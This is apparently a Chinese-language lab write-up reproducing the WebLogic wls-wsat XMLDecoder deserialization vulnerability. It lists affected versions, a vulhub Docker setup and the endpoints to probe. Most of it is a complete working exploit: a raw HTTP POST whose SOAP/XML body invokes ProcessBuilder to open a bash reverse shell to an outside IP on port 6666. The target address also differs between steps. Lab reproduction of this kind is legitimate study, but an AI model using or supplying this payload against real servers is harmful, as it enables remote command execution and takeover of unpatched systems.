漏洞描述
Weblogic的WLS Security组件对外提供了webserver服务,其中使⽤了XMLDecoder来解析⽤户输⼊的XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执⾏。
影响版本
受影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞复现
访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
1.验证是否存在wls-wsat组件
http://172.16.1.67:7001/wls-wsat/CoordinatorPortType
2.在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 172.16.1.78:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/47.113.231.0/6666 0>&1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>